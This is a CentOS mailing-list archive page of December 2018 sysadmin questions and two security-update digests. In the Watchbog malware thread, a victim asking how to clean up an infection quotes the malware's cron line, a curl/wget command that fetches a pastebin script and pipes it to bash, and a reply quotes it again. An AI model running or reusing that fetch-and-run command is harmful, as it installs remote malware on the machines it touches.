- Discuss - lists.centos.org

A question about why the function "recv" return 0
by yf chu 20 Dec '18

20 Dec '18

I am a website developer. We deploy a Nginx server on centos to provide HTTP services. Recently, some customers of our website were complaining about that occasionally they could not open the webpage, the web browser show that the tcp connection was reset. I checked the Nginx logs and source code and found that the function "recv" return 0 when some customers made HTTP requests. Our customers have confirmed that their network was ok at that time. Now, I could not find any clue about this issue. Is there any solution to find the reason? Does it have something to do with firewall, or ISP? Can we find something from the system log?

3 3

CentOS-announce Digest, Vol 166, Issue 6
by centos-announce-request＠centos.org 20 Dec '18

20 Dec '18

Send CentOS-announce mailing list submissions to centos-announce(a)centos.org To subscribe or unsubscribe via the World Wide Web, visit https://lists.centos.org/mailman/listinfo/centos-announce or, via email, send a message with subject or body 'help' to centos-announce-request(a)centos.org You can reach the person managing the list at centos-announce-owner(a)centos.org When replying, please edit your Subject line so it is more specific than "Re: Contents of CentOS-announce digest..." Today's Topics: 1. CESA-2018:3854 Low CentOS 6 ntp Security Update (Johnny Hughes) 2. CEBA-2018:3847 CentOS 7 pacemaker BugFix Update (Johnny Hughes) ---------------------------------------------------------------------- Message: 1 Date: Wed, 19 Dec 2018 23:46:54 +0000 From: Johnny Hughes <johnny(a)centos.org> To: centos-announce(a)centos.org Subject: [CentOS-announce] CESA-2018:3854 Low CentOS 6 ntp Security Update Message-ID: <20181219234654.GA25454(a)n04.lon1.karan.org> Content-Type: text/plain; charset=us-ascii CentOS Errata and Security Advisory 2018:3854 Low Upstream details at : https://access.redhat.com/errata/RHSA-2018:3854 The following updated files have been uploaded and are currently syncing to the mirrors: ( sha256sum Filename ) i386: 8d4c7f5edb0fb14af55ff6f74ee15349e69f5a8ff180b39b2fbbd01d99c0199a ntp-4.2.6p5-15.el6.centos.i686.rpm a9a5283906f361f4b2d85be307eb8c7574bc749ec6e9d03988831b628e2bd273 ntpdate-4.2.6p5-15.el6.centos.i686.rpm 18edea5cb7d5a13afc34464fd4cef7cbd46e6d6a7b91acbf1a6dd58a9997a411 ntp-doc-4.2.6p5-15.el6.centos.noarch.rpm ba4d8eff03ce5ffdd42025c0aa9e21ca1429f02909e2e0f39a2d838c22e04eae ntp-perl-4.2.6p5-15.el6.centos.i686.rpm x86_64: b6ee6afaf3ff4b90b3a3f0077e111362a9ce6912384799b4798cfba3984a60ec ntp-4.2.6p5-15.el6.centos.x86_64.rpm 0bd3608f6a5a0935529f9e16de6b875ac810e89f25fc03a034e1e11e763b9bf9 ntpdate-4.2.6p5-15.el6.centos.x86_64.rpm 18edea5cb7d5a13afc34464fd4cef7cbd46e6d6a7b91acbf1a6dd58a9997a411 ntp-doc-4.2.6p5-15.el6.centos.noarch.rpm c638a5e57e7895b4c605f63077902c141ada8a26bf2a94272dc0d11f0a35bc30 ntp-perl-4.2.6p5-15.el6.centos.x86_64.rpm Source: b41d310c7c14b58374dfd75e55b5b9b9f7105ca983e0a3ac4cf43be95e47da8b ntp-4.2.6p5-15.el6.centos.src.rpm -- Johnny Hughes CentOS Project { http://www.centos.org/ } irc: hughesjr, #centos(a)irc.freenode.net Twitter: @JohnnyCentOS ------------------------------ Message: 2 Date: Wed, 19 Dec 2018 23:47:22 +0000 From: Johnny Hughes <johnny(a)centos.org> To: centos-announce(a)centos.org Subject: [CentOS-announce] CEBA-2018:3847 CentOS 7 pacemaker BugFix Update Message-ID: <20181219234722.GA25572(a)n04.lon1.karan.org> Content-Type: text/plain; charset=us-ascii CentOS Errata and Bugfix Advisory 2018:3847 Upstream details at : https://access.redhat.com/errata/RHBA-2018:3847 The following updated files have been uploaded and are currently syncing to the mirrors: ( sha256sum Filename ) x86_64: 2e35900146ccf77ab81cb32e8a7957c10aa678bae36c55744e9b18f1750a95e8 pacemaker-1.1.19-8.el7_6.2.x86_64.rpm 5b54875eaccb9c93054e5eef35caf5ff46e2f0cfbd2acb859b813cb3f473301f pacemaker-cli-1.1.19-8.el7_6.2.x86_64.rpm e2312c85fc1373cf28748db20cfee3135a390b48b9c0abce874e9939af9377fb pacemaker-cluster-libs-1.1.19-8.el7_6.2.i686.rpm 302e43e36b0262d23fb2cd34f393eb5834c7f82944d79d3e46923f9d6544cb54 pacemaker-cluster-libs-1.1.19-8.el7_6.2.x86_64.rpm a7b495377398e9c514391716bc0a34c66287be8fbad4b47c4d6ff48c9edfa1b0 pacemaker-cts-1.1.19-8.el7_6.2.x86_64.rpm e295d5e858815ad9b39d2498e24de56a7c4aef479f04dedc0e86cee13aaf1727 pacemaker-doc-1.1.19-8.el7_6.2.x86_64.rpm 3d8ca4d2a12878da0d49541b27c8266d6d7e01f8c984b66443f8b1a87b55c004 pacemaker-libs-1.1.19-8.el7_6.2.i686.rpm a19e6555225e34aed04e981aad4925a85c67452b92cece2000e76d03fce500dc pacemaker-libs-1.1.19-8.el7_6.2.x86_64.rpm 65952d9647e01febadc9e68a438e2ca1cf4ab15deaace176761edcbe094ec380 pacemaker-libs-devel-1.1.19-8.el7_6.2.i686.rpm bfa7aa216dab27e96169eb2b63ed0e233eaba1368dd2bbb00e22eaa52348f321 pacemaker-libs-devel-1.1.19-8.el7_6.2.x86_64.rpm db71a78725c41b66642e5ed756d0b7bfeee2ca1230cbf9433ee1cfbc27d245f0 pacemaker-nagios-plugins-metadata-1.1.19-8.el7_6.2.x86_64.rpm 51f9cbc0b8ccf236667e2b6bf057b662a44abdb4633efa58c4961362a9e3bf6a pacemaker-remote-1.1.19-8.el7_6.2.x86_64.rpm -- Johnny Hughes CentOS Project { http://www.centos.org/ } irc: hughesjr, #centos(a)irc.freenode.net Twitter: @JohnnyCentOS ------------------------------ Subject: Digest Footer _______________________________________________ CentOS-announce mailing list CentOS-announce(a)centos.org https://lists.centos.org/mailman/listinfo/centos-announce ------------------------------ End of CentOS-announce Digest, Vol 166, Issue 6 ***********************************************

1 0

VNC question
by isdtor 20 Dec '18

20 Dec '18

We have run into the infamous black screen problem with tigervnc under CentOS7, which prompted me to look into how vnc is configured here. https://access.redhat.com/solutions/966063 Am I reading this correctly - root needs to set up a systemd vnc service for every user and display individually? Compared to e.g. CentOS before 7, or indeed any other Linux/Unix system where vnc is completely under user control?

4 7

how to implement rate-limiting measures on interfaces using IPTables?
by Sean Son 19 Dec '18

19 Dec '18

Hello all I have been tasked to implement rate-limiting measures on interfaces using IPTables in RHEL 7. I know that in order to implement it using FirewallD, I will need to run the following command: firewall-cmd --direct --add-rule ipv4 filter IN_public_allow 0 -p tcp -m limit --limit 25/minute --limit-burst 100 -j ACCEPT How would I do the same using IPtables? Thanks!! Sean

2 1

Cgroups : memory.limit_in_bytes and memory.usage_in_bytes includes file cache?
by valleru＠cbio.mskcc.org 19 Dec '18

19 Dec '18

Hello All, We were under the assumption that Cgroups memory controller, limits memory based on just the RSS size of the process. However, i see that the process is getting killed even when the RSS size is very low compared to the limit in bytes. For example: cat memory.stat cache 85880266752 rss 2441216 rss_huge 0 mapped_file 8192 swap 0 pgpgin 29265847812 pgpgout 29244880354 pgfault 48530374728 pgmajfault 20 inactive_anon 0 active_anon 2441216 inactive_file 85879496704 active_file 770048 unevictable 0 hierarchical_memory_limit 85899345920 hierarchical_memsw_limit 85899345920 total_cache 85880266752 total_rss 2441216 total_rss_huge 0 total_mapped_file 8192 total_swap 0 total_pgpgin 29265847812 total_pgpgout 29244880354 total_pgfault 48530374728 total_pgmajfault 20 total_inactive_anon 0 total_active_anon 2441216 total_inactive_file 85879496704 total_active_file 770048 total_unevictable 0 cat memory.usage_in_bytes 85885800448 cat memory.limit_in_bytes 85899345920 What is confusing is that , why is memory.usage_in_bytes being shown as 85885800448, when the RSS is just 2441216? Is it true that memory.usage_in_bytes/memory.limit_in_bytes takes files cache into consideration when calculating the usage? Regards, Lohit

1 0

Out of memory
by Jerry Geis 19 Dec '18

19 Dec '18

Hi, I have three machines running CentOS 7.6 in desktop mode. 2 are fine. 1 of them is having a memory issue that is Out of memory [17878] 1000 17878 2069991 42311 11898880 0 0 gnome-shell This gnome-shell looking at /var/log/messages after reboot - is the HIGHEST amount of memory. Looking at "top" now - it certainly does not use that amount of ram at this time. These are the gnome-shell packages installed. rpm -qa | grep gnome-shell gnome-shell-extension-alternate-tab-3.28.1-5.el7.noarch gnome-shell-extension-top-icons-3.28.1-5.el7.noarch gnome-shell-extension-window-list-3.28.1-5.el7.noarch gnome-shell-extension-launch-new-instance-3.28.1-5.el7.noarch gnome-shell-extension-apps-menu-3.28.1-5.el7.noarch gnome-shell-extension-common-3.28.1-5.el7.noarch gnome-shell-extension-user-theme-3.28.1-5.el7.noarch gnome-shell-extension-places-menu-3.28.1-5.el7.noarch gnome-shell-3.28.3-6.el7.x86_64 Why is gnome-shell eating my memory? What can I do? Basically - the machine isn't even doing anything. Boots up and shows one static web page. At this time that is all. Then about 24 hours later its out of memory. The other 2 machines that seem fine - are showing the same web page. But not out of memory. Thanks, Jerry

3 2

Spamassassin + Postfix : delete spam mail on the server ?
by Nicolas Kovacs 19 Dec '18

19 Dec '18

Hi, My mail server is running on CentOS 7 with Postfix, Dovecot and Spamassassin. I get quite a lot of spam on a few accounts, and Spamassassin does its job fine. Spam mail is identified correctly, and it looks like there are no false positives, e. g. valid mail is never identified as spam. When a message is flagged as spam, the subject line is rewritten to begin with [SPAM]. Then, a filter in Mozilla Thunderbird is setup, and when a subject line begins with [SPAM] the message is directly sent to Trash. I've documented the whole configuration here: * https://blog.microlinux.fr/spamassassin-centos/ The problem with this setup is that spam mail is still delivered, and I need Thunderbird's filters to weed out incoming mail. And when I'm using my webmail (running SquirrelMail), my inbox is a tsunami of unread [SPAM] messages. So I'd like to go a step further and delete all messages flagged [SPAM] directly on the server. It doesn't look like Spamassassin provides this functionality. Did any of you guys succeed in doing this anyway? Cheers, Niki -- Microlinux - Solutions informatiques durables 7, place de l'église - 30730 Montpezat Site : https://www.microlinux.fr Blog : https://blog.microlinux.fr Mail : info(a)microlinux.fr Tél. : 04 66 63 10 32

10 12

CentOS-announce Digest, Vol 166, Issue 5
by centos-announce-request＠centos.org 19 Dec '18

19 Dec '18

Send CentOS-announce mailing list submissions to centos-announce(a)centos.org To subscribe or unsubscribe via the World Wide Web, visit https://lists.centos.org/mailman/listinfo/centos-announce or, via email, send a message with subject or body 'help' to centos-announce-request(a)centos.org You can reach the person managing the list at centos-announce-owner(a)centos.org When replying, please edit your Subject line so it is more specific than "Re: Contents of CentOS-announce digest..." Today's Topics: 1. CEBA-2018:3832 CentOS 7 resource-agents BugFix Update (Johnny Hughes) 2. CESA-2018:3834 Important CentOS 7 ghostscript Security Update (Johnny Hughes) ---------------------------------------------------------------------- Message: 1 Date: Wed, 19 Dec 2018 03:21:52 +0000 From: Johnny Hughes <johnny(a)centos.org> To: centos-announce(a)centos.org Subject: [CentOS-announce] CEBA-2018:3832 CentOS 7 resource-agents BugFix Update Message-ID: <20181219032152.GA890(a)n04.lon1.karan.org> Content-Type: text/plain; charset=us-ascii CentOS Errata and Bugfix Advisory 2018:3832 Upstream details at : https://access.redhat.com/errata/RHBA-2018:3832 The following updated files have been uploaded and are currently syncing to the mirrors: ( sha256sum Filename ) x86_64: 79aa7b8a924f66da70481041e131df1d717800eeb0e11f9ffe9a7ace6e3a9d2c resource-agents-4.1.1-12.el7_6.7.x86_64.rpm b36f781db6ae516889a79178393d14200ab4bdeffce8ca9d159abee4ac25a19b resource-agents-aliyun-4.1.1-12.el7_6.7.x86_64.rpm 134ad788dcf01a4d360e4afef1b60b9f0fc2e443ad3d0565a54e44659628c36b resource-agents-gcp-4.1.1-12.el7_6.7.x86_64.rpm -- Johnny Hughes CentOS Project { http://www.centos.org/ } irc: hughesjr, #centos(a)irc.freenode.net Twitter: @JohnnyCentOS ------------------------------ Message: 2 Date: Wed, 19 Dec 2018 03:22:11 +0000 From: Johnny Hughes <johnny(a)centos.org> To: centos-announce(a)centos.org Subject: [CentOS-announce] CESA-2018:3834 Important CentOS 7 ghostscript Security Update Message-ID: <20181219032211.GA983(a)n04.lon1.karan.org> Content-Type: text/plain; charset=us-ascii CentOS Errata and Security Advisory 2018:3834 Important Upstream details at : https://access.redhat.com/errata/RHSA-2018:3834 The following updated files have been uploaded and are currently syncing to the mirrors: ( sha256sum Filename ) x86_64: b02281b3f40e29efcc842714d9704763bce7f21f0b358a4246074513ec71da18 ghostscript-9.07-31.el7_6.6.i686.rpm 94a6c73acd88ad8c61fae422a2557f25d016c8301a5904ad416794934512af1e ghostscript-9.07-31.el7_6.6.x86_64.rpm 1a986c609ec1e7b11daeae3052847fabee509bfb40fe6188011673d990441223 ghostscript-cups-9.07-31.el7_6.6.x86_64.rpm 16c32cdf0ba38d3e109b5855a735c4d23d0cf11c2775a4dff31934a4c6c183fa ghostscript-devel-9.07-31.el7_6.6.i686.rpm 1ff0115fd9a2c9479bf9d1e490786303e53253d0aaa6b508728e671a19abfd0f ghostscript-devel-9.07-31.el7_6.6.x86_64.rpm 896fdf02ca354030aad6e2e71ffbcd49eb5a9d285d19e9f18ef03a5241e9a9be ghostscript-doc-9.07-31.el7_6.6.noarch.rpm 08a063cfd502e270eb11bee7c13b68c7d1a1fed4b13f0a8060490c704d75f3c7 ghostscript-gtk-9.07-31.el7_6.6.x86_64.rpm -- Johnny Hughes CentOS Project { http://www.centos.org/ } irc: hughesjr, #centos(a)irc.freenode.net Twitter: @JohnnyCentOS ------------------------------ Subject: Digest Footer _______________________________________________ CentOS-announce mailing list CentOS-announce(a)centos.org https://lists.centos.org/mailman/listinfo/centos-announce ------------------------------ End of CentOS-announce Digest, Vol 166, Issue 5 ***********************************************

1 0

Updating 7.5->7.6
by mark 18 Dec '18

18 Dec '18

I've got a user with a legacy NVidia card. I've got kmod-nvidia. Last time I did an update, all I did was yum update --disableexcludes. This time, it fails, with Error: Package: nvidia-x11-drv-304xx-304.135-1.el7.elrepo.x86_64 (@elrepo) Requires: xorg-x11-server-Xorg <= 1.19.99 Removing: xorg-x11-server-Xorg-1.19.5-5.el7.x86_64 (@base) xorg-x11-server-Xorg = 1.19.5-5.el7 Updated By: xorg-x11-server-Xorg-1.20.1-5.1.el7.x86_64 (updates) xorg-x11-server-Xorg = 1.20.1-5.1.el7 Available: xorg-x11-server-Xorg-1.20.1-3.el7.x86_64 (base) xorg-x11-server-Xorg = 1.20.1-3.el7 Available: xorg-x11-server-Xorg-1.20.1-5.el7.x86_64 (updates) xorg-x11-server-Xorg = 1.20.1-5.el7 I'd appreciate any help understanding what this is telling me. It *looks* like it wants to update vidia-x11-drv-304xx-304.135-1.el7.elrepo.x86_64 with vidia-x11-drv-304xx-304.135-5.el7.elrepo.x86_64 (or maybe 135-6) and then it wants to replace the elrepo mods with base or updates. Is this saying there's no update for the xorg-x11-server-Xorg (I don't see one) on elrepo? Does this mean I'll have to go back to the proprietary driver? mark

3 11

CentOS 7.5 Linux box got infected with Watchbog malware
by Kaushal Shriyan 18 Dec '18

18 Dec '18

Hi, Is there a way to find out how the CentOS 7.5 Linux box got infected with malware? Currently i am referring to http://sudhakarbellamkonda.blogspot.com/2018/11/blocking-watchbog-malwarera… to carry out the below steps and is done manually. 1)rm -fr /tmp/*timesyncc.service* 2)crontab -e -u apigee delete the cron entry */1 * * * * (curl -fsSL https://pastebin.com/raw/aGTSGJJp||wget -q -O- https://pastebin.com/raw/aGTSGJJp)|bash > /dev/null 2>&1 3)ps aux | grep watchbog kill -9 pidof watchbog Any suggestions or recommendations to find out how CentOS 7.5 Linux box got infected with Watchbog Malware. Is there any open source software which can be installed on CentOS 7.5 Linux box to detect and prevent Malware? Thanks in Advance. Best Regards, Kaushal

7 7

Re: [CentOS] CentOS 7.5 Linux box got infected with Watchbog malware
by mark 18 Dec '18

18 Dec '18

Valeri Galtsev wrote: > On 12/17/18 2:57 PM, Mauricio Tavares wrote: >> On Sat, Dec 15, 2018 at 12:40 PM Kaushal Shriyan >> <kaushalshriyan(a)gmail.com> wrote: >>> >>> >>> Is there a way to find out how the CentOS 7.5 Linux box got infected >>> with malware? Currently i am referring to >>> http://sudhakarbellamkonda.blogspot.com/2018/11/blocking-watchbog-malw >>> areransomware.html to carry out the below steps and is done manually. >>> >>> 1)rm -fr /tmp/*timesyncc.service* >>> 2)crontab -e -u apigee >>> delete the cron entry */1 * * * * (curl -fsSL >>> https://pastebin.com/raw/aGTSGJJp||wget -q -O- >>> https://pastebin.com/raw/aGTSGJJp)|bash > /dev/null 2>&1 >>> 3)ps aux | grep watchbog >>> kill -9 pidof watchbog >>> >>> Any suggestions or recommendations to find out how CentOS 7.5 Linux >>> box got infected with Watchbog Malware. Is there any open source >>> software which can >> >> do you have untampered log files? >> >>> be installed on CentOS 7.5 Linux box to detect and prevent Malware? > > Standard compromise recovery procedure since forever is (your local > policy my have slightly different order about notifications and similar): > > 1. back up all user data You should have been doing that all along. First step, before you do anything else, is pull the hard drive, put it into a hot-swap or external bay, and dd the entire drive to an identical one. THAT goes to forensics. Alternatively, pull the h/d, put in a new one, reset the BIOS to factory settings - that includes pulling the battery... *then* set what you need, and then build it new, and restore from backups. <snip> Why, yes, we did just do this, um, last year, after a compromise via a WordPress security hole. It did not manage to get to any other systems (we checked, and only a few run WordPress). mark

2 1

qemu-kvm-common-ev-2.12.0-18.el7_6.1.1.x86_64 - lost KVM guests - qemu-kvm-ev
by lejeczek 18 Dec '18

18 Dec '18

hi guys, I updated to qemu-kvm-common-ev-2.12.0-18.el7_6.1.1.x86_64 (also libvirt) and my Centos 6.10 kvm guests now do not start. Funnily enough Win10 guest are fine, only Centoses cannot start, silently & without any errors. Any care to comment? many thanks, L.

2 3

determining what depends on a rpm
by Frank Cox 17 Dec '18

17 Dec '18

yum remove lightdm That command tells me that it's also going to remove lightdm-gobject and lightdm-gtk. rpm -q --whatrequires lightdm no package requires lightdm So obviously we can't take the word of the --whatrequires option from the rpm command since yum remove tells me that there are two. That being the case, using yum remove to determine the actual dependency chain is not all that helpful since (a) only the root user can do that, which seems unnecessary when all you want to get is a report about the installed packages that the rpm command can already read as a user, and (b) you're taking a chance of fat-fingering something and destroying your system by accident. Ultimately it would be very useful to have some kind of a tool that would generate a report from the rpms installed on a system and tell you exactly what depends on what else. Among other things you could use that report to remove stuff that's not needed in any installation. -- MELVILLE THEATRE ~ Real D 3D Digital Cinema ~ www.melvilletheatre.com

6 7

KVM Client NetworkManager Problem
by Günther J. Niederwimmer 17 Dec '18

17 Dec '18

Hello, On my systems I have after update to last centos 1810 a big Problem with the network?? Om my system I have three NIC two are connected from hardware (hostdev) the last is connected from the bridge on the host. (NetworkManager was disabled) Now after the update the client can't start the NIC's correctly :-( My Problem is the bridged NIC ethX I must Install and activate the NetworkManager or I have a LSB Error [ INFO ] Network Manager is not active. [DEPEND] Dependency failed for Network Manager Wait Online. Starting LSB: Bring up/down networking... [FAILED] Failed to start LSB: Bring up/down networking. But now NetworkManager create sometimes a new config for a new ethX this is configured from dhcp, but I must have a static address to connect other server (ldap...) Also the resolv.conf is overwritten and have wrong nameserver (ipv6) and duplicate search entries ... Now it is the Problem after a reboot the network is not running correct with or without NetworkManager? Thanks for a answer or help, -- mit freundliche Grüßen / best regards, Günther J. Niederwimmer

5 7

SSD no longer detected - slightly off topic
by Jerry Geis 16 Dec '18

16 Dec '18

Hi All, I have a new Samsung SSD 2T 860 type device. I connected it to my centos 7.6 system using external USB 3.1 that has power and data supplied over the USB cable. I do this all the time with a 120G SSD works fine. Formatting the device worked fine - then I mounted it and tried to copy 1.5T of data. The copy never finished through the night. I think there wasn't enough power for the SSD.... Now when I power the SSD with an external USB with power the disk is not seen when I plug it in. Any thoughts how to get the device to be seen under external USB power so I can reformat and get it going? Thanks, Jerry

1 0

Firewalld and iptables
by Jon LaBadie 15 Dec '18

15 Dec '18

After a recent large update, firewalld's status contains many lines of the form: WARNING: COMMAND_FAILED: '/usr/sbin/iptables... Checking iptables.service status shows it to be masked. I realize that firewalld uses iptables, but should it be enabled and started as a service? Jon -- Jon H. LaBadie jcu(a)labadie.us 11226 South Shore Rd. (703) 787-0688 (H) Reston, VA 20190 (703) 935-6720 (C)

4 9

SFTP - Private/Public Authentication Keysets Beyond The First Set
by Gary Braatz 15 Dec '18

15 Dec '18

I'm new to SFTP and using this mailing list was able to successfully create my first Private/Public keyset for a vendor hosting the SFTP server (I'm the client). I created the keyset by typing this: # ssh-keygen -t rsa When asked for the password/passphrase I hit <Enter> and afterwards "id_rsa" and "id_rsa.pub" were created in "/root/.ssh/". I provided "id_rsa.pub" to the vendor and when told they were ready I initiated an SFTP transfer. During the first connection I was asked for the vendor-provided password and after entering it was successfully connected to the vendor's sftp server. During successive connections I was not again asked for the password. This allowed me to create fully automated batch file transfers.my objective. Setting up my second vendor is not going as smoothly. I did exactly the same thing for my second vendor with the exception of typing "rsa_vendor2" during keyset generation (I assumed I had to use a different name for the new keyset). # ssh-keygen -t rsa_vendor2 Files "id_rsa_vendor2" and "id_rsa_vendor2.pub" were created in "/root/.ssh/" and I gave "id_rsa_vendor2.pub" to the second vendor. I initiated the first connection with the second vendor and was asked for the vendor-provided password which I entered and a successful connection was made. The problem is unlike with the first vendor I am asked for the password every time I connect to the second vendor's server. Because I am being asked for the password I am unable to create fully automated batch file transfers. The second vendor is telling me they added the public key to their server as required. Did I miss a step or do something wrong on my end? Was I correct using a different name for the new keyset or would the new keyset information have been appended to the information already in id_rsa and id_rsa.pub for the first vendor? Any help you can provide will be greatly appreciated.

4 8

CentOS7 kickstart question
by isdtor 14 Dec '18

14 Dec '18

Is it not possible to use an nfs based repo for kickstart under CentOS 7.5? E.g. repo --name=epel --baseurl=file://server/path/to/local/copy/of/epel With trial and error I figured out that this is the correct syntax to use for an nfs-based repo. But packages from this repo in the %packages section are not found. You have specificed that the package 'bla' should be installed. This package does not exist. ... It works with http off the same server and location, but I'd rather not use that. NFS installation as such, using nfs --server ... -- dir ..., off the same server and filesystem is working fine. So there is no problem here with nfs or repo setup.

3 6

Running a command at startup
by Robert Moskowitz 13 Dec '18

13 Dec '18

On a support forum, I was told that to turn off my board's blue led run: echo none | sudo tee /sys/class/leds/blue\:heartbeat/trigger Well, this does not survive a system reboot. So I was told: Add the off bit to /etc/rc.local Add it above "exit 0" So of course, CentOS is past using rc.local and recommends: # It is highly advisable to create own systemd services or udev rules # to run scripts during boot instead of using this fi So can someone point me to how to make this into a simple systemd service? thanks

7 11

core file generation
by sthustfo 13 Dec '18

13 Dec '18

On my cent os 7 system, I can trigger a running process to dump core by sending a signal from console (kill -SIGABRT pid). However after generating some core files in this way, the system no longer generates any more core dump files. The core file pattern is set to /tmp/store/core.%h.%e.%p.%t. Is there any way to find out why the core files are no longer generated? There is sufficient disk space and permission to the folder is also intact. The initial core files generated are found in the specified folder. Any logs help explain this behavior? Thanks.

1 0

Re: [CentOS] SFTP - Private/Public Authentication Keysets Beyond The First Set
by James B. Byrne 13 Dec '18

13 Dec '18

On Wed, December 12, 2018 16:40, Gary Braatz wrote: > Inclusion of the -i flag and the location of the private key solved > the > problem. > You can also set up a personalised ssh config file in the ~/.ssh directory of the user employed to establish the sftp/ssh connections: #BOF # /home/myuser/.ssh/config # Host parameter is any arbitrary string. # sftp remoteuserid(a)first.site.com == Host site1 HostName first.site.com User remoteuserid IdentityFile /home/myuser/.ssh/id_rsa # sftp otheruserid(a)second.other.com == Host site2 HostName second.other.com User otheruserid IdentityFile /home/myuser/.ssh/rsa_vendor2 #EOF Then just run 'sftp site1' or 'sftp site2' to connect as required. -- *** e-Mail is NOT a SECURE channel *** Do NOT transmit sensitive data via e-Mail Do NOT open attachments nor follow links sent by e-Mail James B. Byrne mailto:ByrneJB@Harte-Lyne.ca Harte & Lyne Limited http://www.harte-lyne.ca 9 Brockley Drive vox: +1 905 561 1241 Hamilton, Ontario fax: +1 905 561 0757 Canada L8E 3C3

1 0

ClamAV installation is OUTDATED! as reported by freshclam utility on CentOS Linux release 7.6.1810 (Core)
by Kaushal Shriyan 13 Dec '18

13 Dec '18

Hi, I am running CentOS Linux release 7.6.1810 (Core) with ClamAV installed. When i am running freshclam i am seeing a Warning message and the details are described below:- # freshclam ClamAV update process started at Thu Dec 13 11:49:18 2018 WARNING: Your ClamAV installation is OUTDATED! WARNING: Local version: 0.100.2 Recommended version: 0.101.0 DON'T PANIC! Read https://www.clamav.net/documents/upgrading-clamav main.cvd is up to date (version: 58, sigs: 4566249, f-level: 60, builder: sigmgr) nonblock_recv: recv timing out (30 secs) WARNING: getfile: Download interrupted: Operation now in progress (IP: 104.16.189.138) WARNING: Can't download daily.cvd from database.clamav.net Trying again in 5 secs... ClamAV update process started at Thu Dec 13 11:49:56 2018 WARNING: Your ClamAV installation is OUTDATED! WARNING: Local version: 0.100.2 Recommended version: 0.101.0 DON'T PANIC! Read https://www.clamav.net/documents/upgrading-clamav main.cvd is up to date (version: 58, sigs: 4566249, f-level: 60, builder: sigmgr) Trying host database.clamav.net (104.16.188.138)... Downloading daily.cvd [100%] daily.cvd updated (version: 25202, sigs: 2176766, f-level: 63, builder: neo) bytecode.cvd is up to date (version: 327, sigs: 91, f-level: 63, builder: neo) Database updated (6743106 signatures) from database.clamav.net (IP: 104.16.188.138) # *OS Version* # cat /etc/redhat-release CentOS Linux release 7.6.1810 (Core) # yum update No packages marked for update # *EPEL Version* # rpm -qa | grep epel epel-release-7-11.noarch # *ClamAV Version* # rpm -qa | grep clamav clamav-lib-0.100.2-2.el7.x86_64 clamav-filesystem-0.100.2-2.el7.noarch clamav-update-0.100.2-2.el7.x86_64 clamav-0.100.2-2.el7.x86_64 # Please comment. Thanks in Advance. I look forward to hearing from you. Best Regards, Kaushal

2 1

CentOS 7.6 external USB dmesg issue
by Jerry Geis 12 Dec '18

12 Dec '18

I have a brand new 2T external Samsung SSD disk. (two of them) for backup. I tried the first one and had an issue, I tried the second one and got the same issue. Am I doing something wrong ? I find it hard to believe the SSD (both) are bad. I plugged in the USB 3.1 adapter, I fdisk /dev/sdd, n, p, default, default, w. then mkfs.ext4 -j /dev/sdd1, then just mount and rsync. [ 1085.193710] [<ffffffffa94dca7e>] ? account_entity_dequeue+0xae/0xd0 [ 1085.193715] [<ffffffffa9b67c49>] schedule+0x29/0x70 [ 1085.193719] [<ffffffffa9b65721>] schedule_timeout+0x221/0x2d0 [ 1085.193724] [<ffffffffa942a621>] ? __switch_to+0x151/0x580 [ 1085.193730] [<ffffffffa9501052>] ? ktime_get_ts64+0x52/0xf0 [ 1085.193735] [<ffffffffa9b672ed>] io_schedule_timeout+0xad/0x130 [ 1085.193740] [<ffffffffa94c2886>] ? prepare_to_wait_exclusive+0x56/0x90 [ 1085.193744] [<ffffffffa9b67388>] io_schedule+0x18/0x20 [ 1085.193750] [<ffffffffa9743de3>] get_request+0x243/0x7d0 [ 1085.193756] [<ffffffffa977c401>] ? __radix_tree_create+0x11/0x360 [ 1085.193761] [<ffffffffa94c2d00>] ? wake_up_atomic_t+0x30/0x30 [ 1085.193767] [<ffffffffa9746cae>] blk_queue_bio+0xfe/0x400 [ 1085.193772] [<ffffffffa9744ef7>] generic_make_request+0x147/0x380 [ 1085.193778] [<ffffffffa97451a0>] submit_bio+0x70/0x150 [ 1085.193786] [<ffffffffa967e555>] ? bio_alloc_bioset+0x115/0x310 [ 1085.193791] [<ffffffffa967a197>] _submit_bh+0x127/0x160 [ 1085.193797] [<ffffffffa967a1e0>] submit_bh+0x10/0x20 [ 1085.193808] [<ffffffffc1bd8424>] ext4_read_block_bitmap_nowait+0x4c4/0x640 [ext4] [ 1085.193828] [<ffffffffc1c16641>] ext4_mb_init_cache+0x181/0x6e0 [ext4] [ 1085.193834] [<ffffffffa95c5afe>] ? lru_cache_add+0xe/0x10 [ 1085.193840] [<ffffffffa95b74de>] ? find_or_create_page+0x5e/0xa0 [ 1085.193858] [<ffffffffc1c16cc6>] ext4_mb_init_group+0x126/0x230 [ext4] [ 1085.193874] [<ffffffffc1c16f54>] ext4_mb_good_group+0x184/0x1a0 [ext4] [ 1085.193889] [<ffffffffc1c19735>] ext4_mb_regular_allocator+0x1c5/0x470 [ext4] [ 1085.193906] [<ffffffffc1c12d0c>] ? __ext4_journal_stop+0x3c/0xb0 [ext4] [ 1085.193921] [<ffffffffc1c14bec>] ? ext4_mb_normalize_request+0x20c/0x560 [ext4] [ 1085.193936] [<ffffffffc1c1b59b>] ext4_mb_new_blocks+0x65b/0xa20 [ext4] [ 1085.193942] [<ffffffffa967918d>] ? __getblk+0x2d/0x300 [ 1085.193961] [<ffffffffc1c223cb>] ext4_ind_map_blocks+0xb9b/0xc20 [ext4] [ 1085.193968] [<ffffffffa94c6258>] ? hrtimer_cancel+0x28/0x40 [ 1085.193973] [<ffffffffa95d82c8>] ? zone_statistics+0x88/0xa0 [ 1085.193987] [<ffffffffc1bdfd35>] ext4_map_blocks+0x295/0x6e0 [ext4] [ 1085.193993] [<ffffffffa9657c7e>] ? do_select+0x73e/0x7c0 [ 1085.193999] [<ffffffffa961c0b2>] ? kmem_cache_alloc+0x1c2/0x1f0 [ 1085.194006] [<ffffffffa96787b1>] ? alloc_buffer_head+0x21/0x60 [ 1085.194018] [<ffffffffc1be035f>] _ext4_get_block+0x1df/0x220 [ext4] [ 1085.194030] [<ffffffffc1be03b6>] ext4_get_block+0x16/0x20 [ext4] [ 1085.194036] [<ffffffffa967ae78>] __block_write_begin_int+0x198/0x5f0 [ 1085.194041] [<ffffffffa961c0b2>] ? kmem_cache_alloc+0x1c2/0x1f0 [ 1085.194053] [<ffffffffc1be03a0>] ? _ext4_get_block+0x220/0x220 [ext4] [ 1085.194067] [<ffffffffc1be4c56>] ? ext4_write_begin+0x116/0x440 [ext4] [ 1085.194073] [<ffffffffa967b2e1>] __block_write_begin+0x11/0x20 [ 1085.194085] [<ffffffffc1be4ccf>] ext4_write_begin+0x18f/0x440 [ext4] 